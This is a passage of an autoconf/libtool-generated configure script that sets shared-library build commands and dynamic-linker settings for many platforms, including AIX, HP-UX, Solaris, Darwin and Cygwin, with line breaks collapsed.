${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' fi fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' archive_expsym_cmds='' ;; m68k) archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' hardcode_libdir_flag_spec='-L$libdir' hardcode_minus_L=yes ;; esac ;; bsdi[45]*) export_dynamic_flag_spec=-rdynamic ;; cygwin* | mingw* | pw32* | cegcc*) # When not using gcc, we currently assume that we are using # Microsoft Visual C++. # hardcode_libdir_flag_spec is actually meaningless, as there is # no search path for DLLs. hardcode_libdir_flag_spec=' ' allow_undefined_flag=unsupported # Tell ltmain to make .lib files, not .a files. libext=lib # Tell ltmain to make .dll files, not .so files. shrext_cmds=".dll" # FIXME: Setting linknames here is a bad hack. archive_cmds='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames=' # The linker will automatically build a .lib file if we build a DLL. old_archive_from_new_cmds='true' # FIXME: Should let the user specify the lib program. old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs' fix_srcfile_path='' enable_shared_with_static_runtimes=yes ;; darwin* | rhapsody*) archive_cmds_need_lc=no hardcode_direct=no hardcode_automatic=yes hardcode_shlibpath_var=unsupported whole_archive_flag_spec='' link_all_deplibs=yes allow_undefined_flag="$_lt_dar_allow_undefined" case $cc_basename in ifort*) _lt_dar_can_shared=yes ;; *) _lt_dar_can_shared=$GCC ;; esac if test "$_lt_dar_can_shared" = "yes"; then output_verbose_link_cmd=echo archive_cmds="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod${_lt_dsymutil}" module_cmds="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dsymutil}" archive_expsym_cmds="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring ${_lt_dar_single_mod}${_lt_dar_export_syms}${_lt_dsymutil}" module_expsym_cmds="sed -e 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dar_export_syms}${_lt_dsymutil}" else ld_shlibs=no fi ;; dgux*) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_libdir_flag_spec='-L$libdir' hardcode_shlibpath_var=no ;; freebsd1*) ld_shlibs=no ;; # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor # support. Future versions do this automatically, but an explicit c++rt0.o # does not break anything, and helps significantly (at the cost of a little # extra space). freebsd2.2*) archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' hardcode_libdir_flag_spec='-R$libdir' hardcode_direct=yes hardcode_shlibpath_var=no ;; # Unfortunately, older versions of FreeBSD 2 do not have this feature. freebsd2*) archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' hardcode_direct=yes hardcode_minus_L=yes hardcode_shlibpath_var=no ;; # FreeBSD 3 and greater uses gcc -shared to do shared libraries. freebsd* | dragonfly*) archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' hardcode_libdir_flag_spec='-R$libdir' hardcode_direct=yes hardcode_shlibpath_var=no ;; hpux9*) if test "$GCC" = yes; then archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' else archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' fi hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' hardcode_libdir_separator=: hardcode_direct=yes # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. hardcode_minus_L=yes export_dynamic_flag_spec='${wl}-E' ;; hpux10*) if test "$GCC" = yes -a "$with_gnu_ld" = no; then archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' else archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' fi if test "$with_gnu_ld" = no; then hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' hardcode_libdir_flag_spec_ld='+b $libdir' hardcode_libdir_separator=: hardcode_direct=yes hardcode_direct_absolute=yes export_dynamic_flag_spec='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. hardcode_minus_L=yes fi ;; hpux11*) if test "$GCC" = yes -a "$with_gnu_ld" = no; then case $host_cpu in hppa*64*) archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac else case $host_cpu in hppa*64*) archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac fi if test "$with_gnu_ld" = no; then hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' hardcode_libdir_separator=: case $host_cpu in hppa*64*|ia64*) hardcode_direct=no hardcode_shlibpath_var=no ;; *) hardcode_direct=yes hardcode_direct_absolute=yes export_dynamic_flag_spec='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. hardcode_minus_L=yes ;; esac fi ;; irix5* | irix6* | nonstopux*) if test "$GCC" = yes; then archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' # Try to use the -exported_symbol ld option, if it does not # work, assume that -exports_file does not work either and # implicitly export all symbols. save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int foo(void) {} _ACEOF if ac_fn_c_try_link "$LINENO"; then : archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib' fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LDFLAGS="$save_LDFLAGS" else archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib' fi archive_cmds_need_lc='no' hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' hardcode_libdir_separator=: inherit_rpath=yes link_all_deplibs=yes ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out else archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF fi hardcode_libdir_flag_spec='-R$libdir' hardcode_direct=yes hardcode_shlibpath_var=no ;; newsos6) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_direct=yes hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' hardcode_libdir_separator=: hardcode_shlibpath_var=no ;; *nto* | *qnx*) ;; openbsd*) if test -f /usr/libexec/ld.so; then hardcode_direct=yes hardcode_shlibpath_var=no hardcode_direct_absolute=yes if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' hardcode_libdir_flag_spec='${wl}-rpath,$libdir' export_dynamic_flag_spec='${wl}-E' else case $host_os in openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' hardcode_libdir_flag_spec='-R$libdir' ;; *) archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' hardcode_libdir_flag_spec='${wl}-rpath,$libdir' ;; esac fi else ld_shlibs=no fi ;; os2*) hardcode_libdir_flag_spec='-L$libdir' hardcode_minus_L=yes allow_undefined_flag=unsupported archive_cmds='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$ECHO DATA >> $output_objdir/$libname.def~$ECHO " SINGLE NONSHARED" >> $output_objdir/$libname.def~$ECHO EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' old_archive_from_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' ;; osf3*) if test "$GCC" = yes; then allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' else allow_undefined_flag=' -expect_unresolved \*' archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' fi archive_cmds_need_lc='no' hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' hardcode_libdir_separator=: ;; osf4* | osf5*) # as osf3* with the addition of -msym flag if test "$GCC" = yes; then allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' else allow_undefined_flag=' -expect_unresolved \*' archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ $CC -shared${allow_undefined_flag} ${wl}-input ${wl}$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp' # Both c and cxx compiler support -rpath directly hardcode_libdir_flag_spec='-rpath $libdir' fi archive_cmds_need_lc='no' hardcode_libdir_separator=: ;; solaris*) no_undefined_flag=' -z defs' if test "$GCC" = yes; then wlarc='${wl}' archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' else case `$CC -V 2>&1` in *"Compilers 5.0"*) wlarc='' archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' ;; *) wlarc='${wl}' archive_cmds='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' ;; esac fi hardcode_libdir_flag_spec='-R$libdir' hardcode_shlibpath_var=no case $host_os in solaris2.[0-5] | solaris2.[0-5].*) ;; *) # The compiler driver will combine and reorder linker options, # but understands `-z linker_flag'. GCC discards it without `$wl', # but is careful enough not to reorder. # Supported since Solaris 2.6 (maybe 2.5.1?) if test "$GCC" = yes; then whole_archive_flag_spec='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' else whole_archive_flag_spec='-z allextract$convenience -z defaultextract' fi ;; esac link_all_deplibs=yes ;; sunos4*) if test "x$host_vendor" = xsequent; then # Use $CC to link under sequent, because it throws in some extra .o # files that make .init and .fini sections work. archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' else archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' fi hardcode_libdir_flag_spec='-L$libdir' hardcode_direct=yes hardcode_minus_L=yes hardcode_shlibpath_var=no ;; sysv4) case $host_vendor in sni) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_direct=yes # is this really true??? ;; siemens) ## LD is ld it makes a PLAMLIB ## CC just makes a GrossModule. archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' reload_cmds='$CC -r -o $output$reload_objs' hardcode_direct=no ;; motorola) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_direct=no #Motorola manual says yes, but my tests say they lie ;; esac runpath_var='LD_RUN_PATH' hardcode_shlibpath_var=no ;; sysv4.3*) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_shlibpath_var=no export_dynamic_flag_spec='-Bexport' ;; sysv4*MP*) if test -d /usr/nec; then archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_shlibpath_var=no runpath_var=LD_RUN_PATH hardcode_runpath_var=yes ld_shlibs=yes fi ;; sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*) no_undefined_flag='${wl}-z,text' archive_cmds_need_lc=no hardcode_shlibpath_var=no runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; sysv5* | sco3.2v5* | sco5v6*) # Note: We can NOT use -z defs as we might desire, because we do not # link with -lc, and that would cause any symbols used from libc to # always be unresolved, which means just about no library would # ever link correctly. If we're not using GNU ld we use -z text # though, which does catch some bad symbols but isn't as heavy-handed # as -z defs. no_undefined_flag='${wl}-z,text' allow_undefined_flag='${wl}-z,nodefs' archive_cmds_need_lc=no hardcode_shlibpath_var=no hardcode_libdir_flag_spec='${wl}-R,$libdir' hardcode_libdir_separator=':' link_all_deplibs=yes export_dynamic_flag_spec='${wl}-Bexport' runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; uts4*) archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' hardcode_libdir_flag_spec='-L$libdir' hardcode_shlibpath_var=no ;; *) ld_shlibs=no ;; esac if test x$host_vendor = xsni; then case $host in sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) export_dynamic_flag_spec='${wl}-Blargedynsym' ;; esac fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5 $as_echo "$ld_shlibs" >&6; } test "$ld_shlibs" = no && can_build_shared=no with_gnu_ld=$with_gnu_ld # # Do we need to explicitly link libc? # case "x$archive_cmds_need_lc" in x|xyes) # Assume -lc should be added archive_cmds_need_lc=yes if test "$enable_shared" = yes && test "$GCC" = yes; then case $archive_cmds in *'~'*) # FIXME: we may have to deal with multi-command sequences. ;; '$CC '*) # Test whether the compiler implicitly links with -lc since on some # systems, -lgcc has to come before -lc. If gcc already passes -lc # to ld, don't add -lc before -lgcc. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5 $as_echo_n "checking whether -lc should be explicitly linked in... " >&6; } $RM conftest* echo "$lt_simple_compile_test_code" > conftest.$ac_ext if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } 2>conftest.err; then soname=conftest lib=conftest libobjs=conftest.$ac_objext deplibs= wl=$lt_prog_compiler_wl pic_flag=$lt_prog_compiler_pic compiler_flags=-v linker_flags=-v verstring= output_objdir=. libname=conftest lt_save_allow_undefined_flag=$allow_undefined_flag allow_undefined_flag= if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1\""; } >&5 (eval $archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } then archive_cmds_need_lc=no else archive_cmds_need_lc=yes fi allow_undefined_flag=$lt_save_allow_undefined_flag else cat conftest.err 1>&5 fi $RM conftest* { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc" >&5 $as_echo "$archive_cmds_need_lc" >&6; } ;; esac fi ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5 $as_echo_n "checking dynamic linker characteristics... " >&6; } if test "$GCC" = yes; then case $host_os in darwin*) lt_awk_arg="/^libraries:/,/LR/" ;; *) lt_awk_arg="/^libraries:/" ;; esac lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$lt_search_path_spec" | $GREP ';' >/dev/null ; then # if the path contains ";" then we assume it to be the separator # otherwise default to the standard path separator (i.e. ":") - it is # assumed that no part of a normal pathname contains ";" but that should # okay in the real world where ";" in dirpaths is itself problematic. lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e 's/;/ /g'` else lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi # Ok, now we have the path, separated by spaces, we can step through it # and add multilib dir if necessary. lt_tmp_lt_search_path_spec= lt_multi_os_dir=`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` for lt_sys_path in $lt_search_path_spec; do if test -d "$lt_sys_path/$lt_multi_os_dir"; then lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path/$lt_multi_os_dir" else test -d "$lt_sys_path" && \ lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" fi done lt_search_path_spec=`$ECHO $lt_tmp_lt_search_path_spec | awk ' BEGIN {RS=" "; FS="/|\n";} { lt_foo=""; lt_count=0; for (lt_i = NF; lt_i > 0; lt_i--) { if ($lt_i != "" && $lt_i != ".") { if ($lt_i == "..") { lt_count++; } else { if (lt_count == 0) { lt_foo="/" $lt_i lt_foo; } else { lt_count--; } } } } if (lt_foo != "") { lt_freq[lt_foo]++; } if (lt_freq[lt_foo] == 1) { print lt_foo; } }'` sys_lib_search_path_spec=`$ECHO $lt_search_path_spec` else sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" fi library_names_spec= libname_spec='lib$name' soname_spec= shrext_cmds=".so" postinstall_cmds= postuninstall_cmds= finish_cmds= finish_eval= shlibpath_var= shlibpath_overrides_runpath=unknown version_type=none dynamic_linker="$host_os ld.so" sys_lib_dlsearch_path_spec="/lib /usr/lib" need_lib_prefix=unknown hardcode_into_libs=no # when you set need_version to no, make sure it does not cause -set_version # flags to be left without arguments need_version=unknown case $host_os in aix3*) version_type=linux library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' shlibpath_var=LIBPATH # AIX 3 has no versioning support, so we append a major version to the name. soname_spec='${libname}${release}${shared_ext}$major' ;; aix[4-9]*) version_type=linux need_lib_prefix=no need_version=no hardcode_into_libs=yes if test "$host_cpu" = ia64; then # AIX 5 supports IA64 library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' shlibpath_var=LD_LIBRARY_PATH else # With GCC up to 2.95.x, collect2 would create an import file # for dependence libraries. The import file would start with # the line `#! .'. This would cause the generated library to # depend on `.', always an invalid library. This was fixed in # development snapshots of GCC prior to 3.0. case $host_os in aix4 | aix4.[01] | aix4.[01].*) if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' echo ' yes ' echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then : else can_build_shared=no fi ;; esac # AIX (on Power*) has no versioning support, so currently we can not hardcode correct # soname into executable. Probably we can add versioning support to # collect2, so additional links can be useful in future. if test "$aix_use_runtimelinking" = yes; then # If using run time linking (on AIX 4.2 or later) use lib.so # instead of lib.a to let people know that these are not # typical AIX shared libraries. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' else # We preserve .a as extension for shared libraries through AIX4.2 # and later when we are not doing run time linking. library_names_spec='${libname}${release}.a $libname.a' soname_spec='${libname}${release}${shared_ext}$major' fi shlibpath_var=LIBPATH fi ;; amigaos*) case $host_cpu in powerpc) # Since July 2007 AmigaOS4 officially supports .so libraries. # When compiling the executable, add -use-dynld -Lsobjs: to the compileline. library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' ;; m68k) library_names_spec='$libname.ixlibrary $libname.a' # Create ${libname}_ixlibrary.a entries in /sys/libs. finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$ECHO "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $RM /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' ;; esac ;; beos*) library_names_spec='${libname}${shared_ext}' dynamic_linker="$host_os ld.so" shlibpath_var=LIBRARY_PATH ;; bsdi[45]*) version_type=linux need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' soname_spec='${libname}${release}${shared_ext}$major' finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' shlibpath_var=LD_LIBRARY_PATH sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" # the default ld.so.conf also contains /usr/contrib/lib and # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow # libtool to hard-code these into programs ;; cygwin* | mingw* | pw32* | cegcc*) version_type=windows shrext_cmds=".dll" need_version=no need_lib_prefix=no case $GCC,$host_os in yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*) library_names_spec='$libname.dll.a' # DLL is installed to $(libdir)/../bin by postinstall_cmds postinstall_cmds='base_file=`basename \${file}`~ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~ dldir=$destdir/`dirname \$dlpath`~ test -d \$dldir || mkdir -p \$dldir~ $install_prog $dir/$dlname \$dldir/$dlname~ chmod a+x \$dldir/$dlname~ if test -n '\''$stripme'\'' && test -n '\''$striplib'\''; then eval '\''$striplib \$dldir/$dlname'\'' || exit \$?; fi' postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ dlpath=$dir/\$dldll~ $RM \$dlpath' shlibpath_overrides_runpath=yes case $host_os in cygwin*) # Cygwin DLLs use 'cyg' prefix rather than 'lib' soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" ;; mingw* | cegcc*) # MinGW DLLs use traditional 'lib' prefix soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' sys_lib_search_path_spec=`$CC -print-search-dirs | $GREP "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then # It is most probably a Windows format PATH printed by # mingw gcc, but we are running on Cygwin. Gcc prints its search # path with ; separators, and with drive letters. We can handle the # drive letters (cygwin fileutils understands them), so leave them, # especially as we might pass files found there to a mingw objdump, # which wouldn't understand a cygwinified path. Ahh. sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` else sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` fi ;; pw32*) # pw32 DLLs use 'pw' prefix rather than 'lib' library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' ;; esac ;; *) library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' ;; esac dynamic_linker='Win32 ld.exe' # FIXME: first we should search . and the directory the executable is in shlibpath_var=PATH ;; darwin* | rhapsody*) dynamic_linker="$host_os dyld" version_type=darwin need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${major}$shared_ext ${libname}$shared_ext' soname_spec='${libname}${release}${major}$shared_ext' shlibpath_overrides_runpath=yes shlibpath_var=DYLD_LIBRARY_PATH shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`' sys_lib_search_path_spec="$sys_lib_search_path_spec /usr/local/lib" sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' ;; dgux*) version_type=linux need_lib_prefix=no need_version=no library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' soname_spec='${libname}${release}${shared_ext}$major' shlibpath_var=LD_LIBRARY_PATH ;; freebsd1*) dynamic_linker=no ;; freebsd* | dragonfly*) # DragonFly does not have aout. When/if they implement a new # versioning mechanism, adjust this. if test -x /usr/bin/objformat; then objformat=`/usr/bin/objformat` else case $host_os in freebsd[123]*) objformat=aout ;; *) objformat=elf ;; esac fi version_type=freebsd-$objformat case $version_type in freebsd-elf*) library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' need_version=no need_lib_prefix=no ;; freebsd-*) library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' need_version=yes ;; esac 